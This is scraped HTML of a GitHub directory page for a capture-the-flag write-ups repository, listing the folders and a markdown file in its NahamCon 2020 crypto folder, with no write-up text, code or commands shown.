<div class="jump-to-octicon js-jump-to-octicon flex-shrink-0 mr-2 text-center d-none"> <svg title="Repository" aria-label="Repository" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo js-jump-to-octicon-repo d-none flex-shrink-0"> <path d="M2 2.5A2.5 2.5 0 0 1 4.5 0h8.75a.75.75 0 0 1 .75.75v12.5a.75.75 0 0 1-.75.75h-2.5a.75.75 0 0 1 0-1.5h1.75v-2h-8a1 1 0 0 0-.714 1.7.75.75 0 1 1-1.072 1.05A2.495 2.495 0 0 1 2 11.5Zm10.5-1h-8a1 1 0 0 0-1 1v6.708A2.486 2.486 0 0 1 4.5 9h8ZM5 12.25a.25.25 0 0 1 .25-.25h3.5a.25.25 0 0 1 .25.25v3.25a.25.25 0 0 1-.4.2l-1.45-1.087a.249.249 0 0 0-.3 0L5.4 15.7a.25.25 0 0 1-.4-.2Z"></path></svg> <svg title="Project" aria-label="Project" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-project js-jump-to-octicon-project d-none flex-shrink-0"> <path d="M1.75 0h12.5C15.216 0 16 .784 16 1.75v12.5A1.75 1.75 0 0 1 14.25 16H1.75A1.75 1.75 0 0 1 0 14.25V1.75C0 .784.784 0 1.75 0ZM1.5 1.75v12.5c0 .138.112.25.25.25h12.5a.25.25 0 0 0 .25-.25V1.75a.25.25 0 0 0-.25-.25H1.75a.25.25 0 0 0-.25.25ZM11.75 3a.75.75 0 0 1 .75.75v7.5a.75.75 0 0 1-1.5 0v-7.5a.75.75 0 0 1 .75-.75Zm-8.25.75a.75.75 0 0 1 1.5 0v5.5a.75.75 0 0 1-1.5 0ZM8 3a.75.75 0 0 1 .75.75v3.5a.75.75 0 0 1-1.5 0v-3.5A.75.75 0 0 1 8 3Z"></path></svg> <svg title="Search" aria-label="Search" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-search js-jump-to-octicon-search d-none flex-shrink-0"> <path d="M10.68 11.74a6 6 0 0 1-7.922-8.982 6 6 0 0 1 8.982 7.922l3.04 3.04a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215ZM11.5 7a4.499 4.499 0 1 0-8.997 0A4.499 4.499 0 0 0 11.5 7Z"></path></svg> </div>
<div class="jump-to-suggestion-name js-jump-to-suggestion-name flex-auto overflow-hidden text-left no-wrap css-truncate css-truncate-target"> </div>
<div class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none js-jump-to-badge-search"> <span> In this repository </span> <span> All GitHub </span> <span>↵</span> </div>
<div aria-hidden="true" class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none d-on-nav-focus js-jump-to-badge-jump"> Jump to <span>↵</span> </div>
</div> </label></form> </div></div>
</div>
<div class="position-relative mr-lg-3 d-lg-inline-block"> Sign in </div>
Sign up </div> </div> </div> </div></header>
</div>
<div id="start-of-content" class="show-on-focus"></div>
<div id="js-flash-container" data-turbo-replace>
<template class="js-flash-template"> <div class="flash flash-full {{ className }}"> <div class="px-2" > <button autofocus class="flash-close js-flash-close" type="button" aria-label="Dismiss this message"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path d="M3.72 3.72a.75.75 0 0 1 1.06 0L8 6.94l3.22-3.22a.749.749 0 0 1 1.275.326.749.749 0 0 1-.215.734L9.06 8l3.22 3.22a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L8 9.06l-3.22 3.22a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042L6.94 8 3.72 4.78a.75.75 0 0 1 0-1.06Z"></path></svg> </button> <div aria-atomic="true" role="alert" class="js-flash-alert"> <div>{{ message }}</div>
</div> </div></div> </template></div>
<include-fragment class="js-notification-shelf-include-fragment" data-base-src="https://github.com/notifications/beta/shelf"></include-fragment>
<div class="application-main " data-commit-hovercards-enabled data-discussion-hovercards-enabled data-issue-and-pr-hovercards-enabled > <div itemscope itemtype="http://schema.org/SoftwareSourceCode" class=""> <main id="js-repo-pjax-container" >
<div id="repository-container-header" class="pt-3 hide-full-screen" style="background-color: var(--color-page-header-bg);" data-turbo-replace>
<div class="d-flex flex-wrap flex-justify-end mb-3 px-3 px-md-4 px-lg-5" style="gap: 1rem;">
<div class="flex-auto min-width-0 width-fit mr-3"> <div class=" d-flex flex-wrap flex-items-center wb-break-word f3 text-normal"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo color-fg-muted mr-2"> <path d="M2 2.5A2.5 2.5 0 0 1 4.5 0h8.75a.75.75 0 0 1 .75.75v12.5a.75.75 0 0 1-.75.75h-2.5a.75.75 0 0 1 0-1.5h1.75v-2h-8a1 1 0 0 0-.714 1.7.75.75 0 1 1-1.072 1.05A2.495 2.495 0 0 1 2 11.5Zm10.5-1h-8a1 1 0 0 0-1 1v6.708A2.486 2.486 0 0 1 4.5 9h8ZM5 12.25a.25.25 0 0 1 .25-.25h3.5a.25.25 0 0 1 .25.25v3.25a.25.25 0 0 1-.4.2l-1.45-1.087a.249.249 0 0 0-.3 0L5.4 15.7a.25.25 0 0 1-.4-.2Z"></path></svg> <span> noob-atbash </span> <span>/</span> CTF-writeups
<span></span><span>Public</span> </div>
</div>
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-bell mr-2"> <path d="M8 16a2 2 0 0 0 1.985-1.75c.017-.137-.097-.25-.235-.25h-3.5c-.138 0-.252.113-.235.25A2 2 0 0 0 8 16ZM3 5a5 5 0 0 1 10 0v2.947c0 .05.015.098.042.139l1.703 2.555A1.519 1.519 0 0 1 13.482 13H2.518a1.516 1.516 0 0 1-1.263-2.36l1.703-2.554A.255.255 0 0 0 3 7.947Zm5-3.5A3.5 3.5 0 0 0 4.5 5v2.947c0 .346-.102.683-.294.97l-1.703 2.556a.017.017 0 0 0-.003.01l.001.006c0 .002.002.004.004.006l.006.004.007.001h10.964l.007-.001.006-.004.004-.006.001-.007a.017.017 0 0 0-.003-.01l-1.703-2.554a1.745 1.745 0 0 1-.294-.97V5A3.5 3.5 0 0 0 8 1.5Z"></path></svg>Notifications
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo-forked mr-2"> <path d="M5 5.372v.878c0 .414.336.75.75.75h4.5a.75.75 0 0 0 .75-.75v-.878a2.25 2.25 0 1 1 1.5 0v.878a2.25 2.25 0 0 1-2.25 2.25h-1.5v2.128a2.251 2.251 0 1 1-1.5 0V8.5h-1.5A2.25 2.25 0 0 1 3.5 6.25v-.878a2.25 2.25 0 1 1 1.5 0ZM5 3.25a.75.75 0 1 0-1.5 0 .75.75 0 0 0 1.5 0Zm6.75.75a.75.75 0 1 0 0-1.5.75.75 0 0 0 0 1.5Zm-3 8.75a.75.75 0 1 0-1.5 0 .75.75 0 0 0 1.5 0Z"></path></svg>Fork <span>4</span>
<div data-view-component="true" class="BtnGroup d-flex"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-star v-align-text-bottom d-inline-block mr-2"> <path d="M8 .25a.75.75 0 0 1 .673.418l1.882 3.815 4.21.612a.75.75 0 0 1 .416 1.279l-3.046 2.97.719 4.192a.751.751 0 0 1-1.088.791L8 12.347l-3.766 1.98a.75.75 0 0 1-1.088-.79l.72-4.194L.818 6.374a.75.75 0 0 1 .416-1.28l4.21-.611L7.327.668A.75.75 0 0 1 8 .25Zm0 2.445L6.615 5.5a.75.75 0 0 1-.564.41l-3.097.45 2.24 2.184a.75.75 0 0 1 .216.664l-.528 3.084 2.769-1.456a.75.75 0 0 1 .698 0l2.77 1.456-.53-3.084a.75.75 0 0 1 .216-.664l2.24-2.183-3.096-.45a.75.75 0 0 1-.564-.41L8 2.694Z"></path></svg><span> Star</span> <span>9</span> <button disabled="disabled" aria-label="You must be signed in to add this repository to a list" type="button" data-view-component="true" class="btn-sm btn BtnGroup-item px-2"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-triangle-down"> <path d="m4.427 7.427 3.396 3.396a.25.25 0 0 0 .354 0l3.396-3.396A.25.25 0 0 0 11.396 7H4.604a.25.25 0 0 0-.177.427Z"></path></svg></button></div>
</div>
<div id="responsive-meta-container" data-turbo-replace></div>
<nav data-pjax="#js-repo-pjax-container" aria-label="Repository" data-view-component="true" class="js-repo-nav js-sidenav-container-pjax js-responsive-underlinenav overflow-hidden UnderlineNav px-3 px-md-4 px-lg-5">
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-code UnderlineNav-octicon d-none d-sm-inline"> <path d="m11.28 3.22 4.25 4.25a.75.75 0 0 1 0 1.06l-4.25 4.25a.749.749 0 0 1-1.275-.326.749.749 0 0 1 .215-.734L13.94 8l-3.72-3.72a.749.749 0 0 1 .326-1.275.749.749 0 0 1 .734.215Zm-6.56 0a.751.751 0 0 1 1.042.018.751.751 0 0 1 .018 1.042L2.06 8l3.72 3.72a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L.47 8.53a.75.75 0 0 1 0-1.06Z"></path></svg> <span>Code</span> <span></span>
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-issue-opened UnderlineNav-octicon d-none d-sm-inline"> <path d="M8 9.5a1.5 1.5 0 1 0 0-3 1.5 1.5 0 0 0 0 3Z"></path><path d="M8 0a8 8 0 1 1 0 16A8 8 0 0 1 8 0ZM1.5 8a6.5 6.5 0 1 0 13 0 6.5 6.5 0 0 0-13 0Z"></path></svg> <span>Issues</span> <span>0</span>
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-git-pull-request UnderlineNav-octicon d-none d-sm-inline"> <path d="M1.5 3.25a2.25 2.25 0 1 1 3 2.122v5.256a2.251 2.251 0 1 1-1.5 0V5.372A2.25 2.25 0 0 1 1.5 3.25Zm5.677-.177L9.573.677A.25.25 0 0 1 10 .854V2.5h1A2.5 2.5 0 0 1 13.5 5v5.628a2.251 2.251 0 1 1-1.5 0V5a1 1 0 0 0-1-1h-1v1.646a.25.25 0 0 1-.427.177L7.177 3.427a.25.25 0 0 1 0-.354ZM3.75 2.5a.75.75 0 1 0 0 1.5.75.75 0 0 0 0-1.5Zm0 9.5a.75.75 0 1 0 0 1.5.75.75 0 0 0 0-1.5Zm8.25.75a.75.75 0 1 0 1.5 0 .75.75 0 0 0-1.5 0Z"></path></svg> <span>Pull requests</span> <span>0</span>
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-play UnderlineNav-octicon d-none d-sm-inline"> <path d="M8 0a8 8 0 1 1 0 16A8 8 0 0 1 8 0ZM1.5 8a6.5 6.5 0 1 0 13 0 6.5 6.5 0 0 0-13 0Zm4.879-2.773 4.264 2.559a.25.25 0 0 1 0 .428l-4.264 2.559A.25.25 0 0 1 6 10.559V5.442a.25.25 0 0 1 .379-.215Z"></path></svg> <span>Actions</span> <span></span>
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-table UnderlineNav-octicon d-none d-sm-inline"> <path d="M0 1.75C0 .784.784 0 1.75 0h12.5C15.216 0 16 .784 16 1.75v12.5A1.75 1.75 0 0 1 14.25 16H1.75A1.75 1.75 0 0 1 0 14.25ZM6.5 6.5v8h7.75a.25.25 0 0 0 .25-.25V6.5Zm8-1.5V1.75a.25.25 0 0 0-.25-.25H6.5V5Zm-13 1.5v7.75c0 .138.112.25.25.25H5v-8ZM5 5V1.5H1.75a.25.25 0 0 0-.25.25V5Z"></path></svg> <span>Projects</span> <span>0</span>
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-shield UnderlineNav-octicon d-none d-sm-inline"> <path d="M7.467.133a1.748 1.748 0 0 1 1.066 0l5.25 1.68A1.75 1.75 0 0 1 15 3.48V7c0 1.566-.32 3.182-1.303 4.682-.983 1.498-2.585 2.813-5.032 3.855a1.697 1.697 0 0 1-1.33 0c-2.447-1.042-4.049-2.357-5.032-3.855C1.32 10.182 1 8.566 1 7V3.48a1.75 1.75 0 0 1 1.217-1.667Zm.61 1.429a.25.25 0 0 0-.153 0l-5.25 1.68a.25.25 0 0 0-.174.238V7c0 1.358.275 2.666 1.057 3.86.784 1.194 2.121 2.34 4.366 3.297a.196.196 0 0 0 .154 0c2.245-.956 3.582-2.104 4.366-3.298C13.225 9.666 13.5 8.36 13.5 7V3.48a.251.251 0 0 0-.174-.237l-5.25-1.68ZM8.75 4.75v3a.75.75 0 0 1-1.5 0v-3a.75.75 0 0 1 1.5 0ZM9 10.5a1 1 0 1 1-2 0 1 1 0 0 1 2 0Z"></path></svg> <span>Security</span> <include-fragment src="/noob-atbash/CTF-writeups/security/overall-count" accept="text/fragment+html"></include-fragment>
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-graph UnderlineNav-octicon d-none d-sm-inline"> <path d="M1.5 1.75V13.5h13.75a.75.75 0 0 1 0 1.5H.75a.75.75 0 0 1-.75-.75V1.75a.75.75 0 0 1 1.5 0Zm14.28 2.53-5.25 5.25a.75.75 0 0 1-1.06 0L7 7.06 4.28 9.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.25-3.25a.75.75 0 0 1 1.06 0L10 7.94l4.72-4.72a.751.751 0 0 1 1.042.018.751.751 0 0 1 .018 1.042Z"></path></svg> <span>Insights</span> <span></span>
<div style="visibility:hidden;" data-view-component="true" class="UnderlineNav-actions js-responsive-underlinenav-overflow position-absolute pr-3 pr-md-4 pr-lg-5 right-0"> <details data-view-component="true" class="details-overlay details-reset position-relative"> <summary role="button" data-view-component="true"> <div class="UnderlineNav-item mr-0 border-0"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-kebab-horizontal"> <path d="M8 9a1.5 1.5 0 1 0 0-3 1.5 1.5 0 0 0 0 3ZM1.5 9a1.5 1.5 0 1 0 0-3 1.5 1.5 0 0 0 0 3Zm13 0a1.5 1.5 0 1 0 0-3 1.5 1.5 0 0 0 0 3Z"></path></svg> <span>More</span> </div></summary> <details-menu role="menu" data-view-component="true" class="dropdown-menu dropdown-menu-sw"> Code Issues Pull requests Actions Projects Security Insights </details-menu></details></div></nav>
</div>
<turbo-frame id="repo-content-turbo-frame" target="_top" data-turbo-action="advance" class=""> <div id="repo-content-pjax-container" class="repository-content " >
<div class="clearfix container-xl px-3 px-md-4 px-lg-5 mt-4"> <div >
<div class="file-navigation mb-3 d-flex flex-items-start"> <div class="position-relative"> <details class="js-branch-select-menu details-reset details-overlay mr-0 mb-0 " id="branch-select-menu" data-hydro-click-payload="{"event_type":"repository.click","payload":{"target":"REFS_SELECTOR_MENU","repository_id":268353024,"originating_url":"https://github.com/noob-atbash/CTF-writeups/tree/master/nahamcon-20/crypto","user_id":null}}" data-hydro-click-hmac="65abb35ca1518c6be88127484d68335a13c46271c8aa6e629ce48fe6e77646f2"> <summary class="btn css-truncate" data-hotkey="w" title="Switch branches or tags"> <svg text="gray" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-git-branch"> <path d="M9.5 3.25a2.25 2.25 0 1 1 3 2.122V6A2.5 2.5 0 0 1 10 8.5H6a1 1 0 0 0-1 1v1.128a2.251 2.251 0 1 1-1.5 0V5.372a2.25 2.25 0 1 1 1.5 0v1.836A2.493 2.493 0 0 1 6 7h4a1 1 0 0 0 1-1v-.628A2.25 2.25 0 0 1 9.5 3.25Zm-6 0a.75.75 0 1 0 1.5 0 .75.75 0 0 0-1.5 0Zm8.25-.75a.75.75 0 1 0 0 1.5.75.75 0 0 0 0-1.5ZM4.25 12a.75.75 0 1 0 0 1.5.75.75 0 0 0 0-1.5Z"></path></svg> <span>master</span> <span></span> </summary>
<div class="SelectMenu"> <div class="SelectMenu-modal"> <header class="SelectMenu-header"> <span>Switch branches/tags</span> <button class="SelectMenu-closeButton" type="button" data-toggle-for="branch-select-menu"><svg aria-label="Close menu" aria-hidden="false" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path d="M3.72 3.72a.75.75 0 0 1 1.06 0L8 6.94l3.22-3.22a.749.749 0 0 1 1.275.326.749.749 0 0 1-.215.734L9.06 8l3.22 3.22a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L8 9.06l-3.22 3.22a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042L6.94 8 3.72 4.78a.75.75 0 0 1 0-1.06Z"></path></svg></button> </header>
<input-demux data-action="tab-container-change:input-demux#storeInput tab-container-changed:input-demux#updateInput"> <tab-container class="d-flex flex-column js-branches-tags-tabs" style="min-height: 0;"> <div class="SelectMenu-filter"> <input data-target="input-demux.source" id="context-commitish-filter-field" class="SelectMenu-input form-control" aria-owns="ref-list-branches" data-controls-ref-menu-id="ref-list-branches" autofocus autocomplete="off" aria-label="Filter branches/tags" placeholder="Filter branches/tags" type="text" > </div>
<div class="SelectMenu-tabs" role="tablist" data-target="input-demux.control" > <button class="SelectMenu-tab" type="button" role="tab" aria-selected="true">Branches</button> <button class="SelectMenu-tab" type="button" role="tab">Tags</button> </div>
<div role="tabpanel" id="ref-list-branches" data-filter-placeholder="Filter branches/tags" tabindex="" class="d-flex flex-column flex-auto overflow-auto"> <ref-selector type="branch" data-targets="input-demux.sinks" data-action=" input-entered:ref-selector#inputEntered tab-selected:ref-selector#tabSelected focus-list:ref-selector#focusFirstListMember " query-endpoint="/noob-atbash/CTF-writeups/refs" cache-key="v0:1590954931.0" current-committish="bWFzdGVy" default-branch="bWFzdGVy" name-with-owner="bm9vYi1hdGJhc2gvQ1RGLXdyaXRldXBz" prefetch-on-mouseover >
<template data-target="ref-selector.fetchFailedTemplate"> <div class="SelectMenu-message" data-index="{{ index }}">Could not load branches</div> </template>
<template data-target="ref-selector.noMatchTemplate"> <div class="SelectMenu-message">Nothing to show</div></template>
<div data-target="ref-selector.listContainer" role="menu" class="SelectMenu-list " data-turbo-frame="repo-content-turbo-frame"> <div class="SelectMenu-loading pt-3 pb-0 overflow-hidden" aria-label="Menu is loading"> <svg style="box-sizing: content-box; color: var(--color-icon-primary);" width="32" height="32" viewBox="0 0 16 16" fill="none" data-view-component="true" class="anim-rotate"> <circle cx="8" cy="8" r="7" stroke="currentColor" stroke-opacity="0.25" stroke-width="2" vector-effect="non-scaling-stroke" /> <path d="M15 8a7.002 7.002 0 00-7-7" stroke="currentColor" stroke-width="2" stroke-linecap="round" vector-effect="non-scaling-stroke" /></svg> </div> </div>
<template data-target="ref-selector.itemTemplate"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-check SelectMenu-icon SelectMenu-icon--check"> <path d="M13.78 4.22a.75.75 0 0 1 0 1.06l-7.25 7.25a.75.75 0 0 1-1.06 0L2.22 9.28a.751.751 0 0 1 .018-1.042.751.751 0 0 1 1.042-.018L6 10.94l6.72-6.72a.75.75 0 0 1 1.06 0Z"></path></svg> <span>{{ refName }}</span> <span>default</span> </template>
<footer class="SelectMenu-footer">View all branches</footer> </ref-selector>
</div>
<div role="tabpanel" id="tags-menu" data-filter-placeholder="Find a tag" tabindex="" hidden class="d-flex flex-column flex-auto overflow-auto"> <ref-selector type="tag" data-action=" input-entered:ref-selector#inputEntered tab-selected:ref-selector#tabSelected focus-list:ref-selector#focusFirstListMember " data-targets="input-demux.sinks" query-endpoint="/noob-atbash/CTF-writeups/refs" cache-key="v0:1590954931.0" current-committish="bWFzdGVy" default-branch="bWFzdGVy" name-with-owner="bm9vYi1hdGJhc2gvQ1RGLXdyaXRldXBz" >
<template data-target="ref-selector.fetchFailedTemplate"> <div class="SelectMenu-message" data-index="{{ index }}">Could not load tags</div> </template>
<template data-target="ref-selector.noMatchTemplate"> <div class="SelectMenu-message" data-index="{{ index }}">Nothing to show</div> </template>
<template data-target="ref-selector.itemTemplate"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-check SelectMenu-icon SelectMenu-icon--check"> <path d="M13.78 4.22a.75.75 0 0 1 0 1.06l-7.25 7.25a.75.75 0 0 1-1.06 0L2.22 9.28a.751.751 0 0 1 .018-1.042.751.751 0 0 1 1.042-.018L6 10.94l6.72-6.72a.75.75 0 0 1 1.06 0Z"></path></svg> <span>{{ refName }}</span> <span>default</span> </template>
<div data-target="ref-selector.listContainer" role="menu" class="SelectMenu-list" data-turbo-frame="repo-content-turbo-frame"> <div class="SelectMenu-loading pt-3 pb-0 overflow-hidden" aria-label="Menu is loading"> <svg style="box-sizing: content-box; color: var(--color-icon-primary);" width="32" height="32" viewBox="0 0 16 16" fill="none" data-view-component="true" class="anim-rotate"> <circle cx="8" cy="8" r="7" stroke="currentColor" stroke-opacity="0.25" stroke-width="2" vector-effect="non-scaling-stroke" /> <path d="M15 8a7.002 7.002 0 00-7-7" stroke="currentColor" stroke-width="2" stroke-linecap="round" vector-effect="non-scaling-stroke" /></svg> </div> </div> <footer class="SelectMenu-footer">View all tags</footer> </ref-selector> </div> </tab-container> </input-demux> </div></div>
</details>
</div>
<div class="Overlay--hidden Overlay-backdrop--center" data-modal-dialog-overlay> <modal-dialog role="dialog" id="warn-tag-match-create-branch-dialog" aria-modal="true" aria-labelledby="warn-tag-match-create-branch-dialog-header" data-view-component="true" class="Overlay Overlay--width-large Overlay--height-auto Overlay--motion-scaleFade"> <header class="Overlay-header Overlay-header--large Overlay-header--divided"> <div class="Overlay-headerContentWrap"> <div class="Overlay-titleWrap"> <h1 id="warn-tag-match-create-branch-dialog-header" class="Overlay-title">Name already in use</h1> </div> <div class="Overlay-actionWrap"> <button data-close-dialog-id="warn-tag-match-create-branch-dialog" aria-label="Close" type="button" data-view-component="true" class="close-button Overlay-closeButton"><svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path d="M3.72 3.72a.75.75 0 0 1 1.06 0L8 6.94l3.22-3.22a.749.749 0 0 1 1.275.326.749.749 0 0 1-.215.734L9.06 8l3.22 3.22a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L8 9.06l-3.22 3.22a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042L6.94 8 3.72 4.78a.75.75 0 0 1 0-1.06Z"></path></svg></button> </div> </div> </header> <div class="Overlay-body "> <div data-view-component="true"> A tag already exists with the provided branch name. Many Git commands accept both tag and branch names, so creating this branch may cause unexpected behavior. Are you sure you want to create this branch?</div>
</div> <footer class="Overlay-footer Overlay-footer--alignEnd"> <button data-close-dialog-id="warn-tag-match-create-branch-dialog" type="button" data-view-component="true" class="btn"> Cancel</button> <button data-submit-dialog-id="warn-tag-match-create-branch-dialog" type="button" data-view-component="true" class="btn-danger btn"> Create</button> </footer></modal-dialog></div>
<div class="flex-1 mx-2 flex-self-center f4"> <div class="d-none d-sm-block"> <span><span><span>CTF-writeups</span></span></span><span>/</span><span><span>nahamcon-20</span></span><span>/</span>crypto<span>/</span> </div> </div>
<div class="d-flex"> Go to file </div> </div>
<div class="f4 mt-3 mb-3 d-sm-none"><span><span><span>CTF-writeups</span></span></span><span>/</span><span><span>nahamcon-20</span></span><span>/</span>crypto<span>/</span></div>
<div class="Box mb-3" > <div class="Box-header position-relative"> <h2 class="sr-only">Latest commit</h2> <div class="js-details-container Details d-flex rounded-top-2 flex-items-center flex-wrap" data-issue-and-pr-hovercards-enabled> <include-fragment src="/noob-atbash/CTF-writeups/tree-commit/3c4f9c25171916f6fb184a5a4972b560aa172298/nahamcon-20/crypto" class="d-flex flex-auto flex-items-center" aria-busy="true" aria-label="Loading latest commit"> <div class="Skeleton avatar avatar-user flex-shrink-0 ml-n1 mr-n1 mt-n1 mb-n1" style="width:24px;height:24px;"></div> <div class="Skeleton Skeleton--text col-5 ml-3"> </div></include-fragment> <div class="flex-shrink-0"> <h2 class="sr-only">Git stats</h2> <svg text="gray" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-history"> <path d="m.427 1.927 1.215 1.215a8.002 8.002 0 1 1-1.6 5.685.75.75 0 1 1 1.493-.154 6.5 6.5 0 1 0 1.18-4.458l1.358 1.358A.25.25 0 0 1 3.896 6H.25A.25.25 0 0 1 0 5.75V2.104a.25.25 0 0 1 .427-.177ZM7.75 4a.75.75 0 0 1 .75.75v2.992l2.028.812a.75.75 0 0 1-.557 1.392l-2.5-1A.751.751 0 0 1 7 8.25v-3.5A.75.75 0 0 1 7.75 4Z"></path></svg> <span> History </span> </div> </div> </div> <h2 id="files" class="sr-only">Files</h2>
<include-fragment src="/noob-atbash/CTF-writeups/file-list/master/nahamcon-20/crypto"> Permalink
<div data-view-component="true" class="include-fragment-error flash flash-error flash-full py-2"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-alert"> <path d="M6.457 1.047c.659-1.234 2.427-1.234 3.086 0l6.082 11.378A1.75 1.75 0 0 1 14.082 15H1.918a1.75 1.75 0 0 1-1.543-2.575Zm1.763.707a.25.25 0 0 0-.44 0L1.698 13.132a.25.25 0 0 0 .22.368h12.164a.25.25 0 0 0 .22-.368Zm.53 3.996v2.5a.75.75 0 0 1-1.5 0v-2.5a.75.75 0 0 1 1.5 0ZM9 11a1 1 0 1 1-2 0 1 1 0 0 1 2 0Z"></path></svg> Failed to load latest commit information.
</div> <div class="js-details-container Details" data-hpc> <div role="grid" aria-labelledby="files" class="Details-content--hidden-not-important js-navigation-container js-active-navigation-container d-block"> <div class="sr-only" role="row"> <div role="columnheader">Type</div> <div role="columnheader">Name</div> <div role="columnheader" class="d-none d-md-block">Latest commit message</div> <div role="columnheader">Commit time</div> </div> <div role="row" class="Box-row Box-row--focus-gray p-0 d-flex js-navigation-item" > <div role="rowheader" class="flex-auto min-width-0 col-md-2"> <span>. .</span> </div> <div role="gridcell" class="d-none d-md-block"></div> <div role="gridcell"></div> </div>
<div role="row" class="Box-row Box-row--focus-gray py-2 d-flex position-relative js-navigation-item "> <div role="gridcell" class="mr-3 flex-shrink-0" style="width: 16px;"> <svg aria-label="Directory" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-file-directory-fill hx_color-icon-directory"> <path d="M1.75 1A1.75 1.75 0 0 0 0 2.75v10.5C0 14.216.784 15 1.75 15h12.5A1.75 1.75 0 0 0 16 13.25v-8.5A1.75 1.75 0 0 0 14.25 3H7.5a.25.25 0 0 1-.2-.1l-.9-1.2C6.07 1.26 5.55 1 5 1H1.75Z"></path></svg> </div>
<div role="rowheader" class="flex-auto min-width-0 col-md-2 mr-3"> <span>img</span> </div>
<div role="gridcell" class="flex-auto min-width-0 d-none d-md-block col-5 mr-3" > <div class="Skeleton Skeleton--text col-7"> </div> </div>
<div role="gridcell" class="color-fg-muted text-right" style="width:100px;"> <div class="Skeleton Skeleton--text"> </div> </div>
</div> <div role="row" class="Box-row Box-row--focus-gray py-2 d-flex position-relative js-navigation-item "> <div role="gridcell" class="mr-3 flex-shrink-0" style="width: 16px;"> <svg aria-label="Directory" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-file-directory-fill hx_color-icon-directory"> <path d="M1.75 1A1.75 1.75 0 0 0 0 2.75v10.5C0 14.216.784 15 1.75 15h12.5A1.75 1.75 0 0 0 16 13.25v-8.5A1.75 1.75 0 0 0 14.25 3H7.5a.25.25 0 0 1-.2-.1l-.9-1.2C6.07 1.26 5.55 1 5 1H1.75Z"></path></svg> </div>
<div role="rowheader" class="flex-auto min-width-0 col-md-2 mr-3"> <span>resource</span> </div>
<div role="gridcell" class="flex-auto min-width-0 d-none d-md-block col-5 mr-3" > <div class="Skeleton Skeleton--text col-7"> </div> </div>
<div role="gridcell" class="color-fg-muted text-right" style="width:100px;"> <div class="Skeleton Skeleton--text"> </div> </div>
</div> <div role="row" class="Box-row Box-row--focus-gray py-2 d-flex position-relative js-navigation-item "> <div role="gridcell" class="mr-3 flex-shrink-0" style="width: 16px;"> <svg aria-label="File" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-file color-fg-muted"> <path d="M2 1.75C2 .784 2.784 0 3.75 0h6.586c.464 0 .909.184 1.237.513l2.914 2.914c.329.328.513.773.513 1.237v9.586A1.75 1.75 0 0 1 13.25 16h-9.5A1.75 1.75 0 0 1 2 14.25Zm1.75-.25a.25.25 0 0 0-.25.25v12.5c0 .138.112.25.25.25h9.5a.25.25 0 0 0 .25-.25V6h-2.75A1.75 1.75 0 0 1 9 4.25V1.5Zm6.75.062V4.25c0 .138.112.25.25.25h2.688l-.011-.013-2.914-2.914-.013-.011Z"></path></svg> </div>
<div role="rowheader" class="flex-auto min-width-0 col-md-2 mr-3"> <span>crypto.md</span> </div>
<div role="gridcell" class="flex-auto min-width-0 d-none d-md-block col-5 mr-3" > <div class="Skeleton Skeleton--text col-7"> </div> </div>
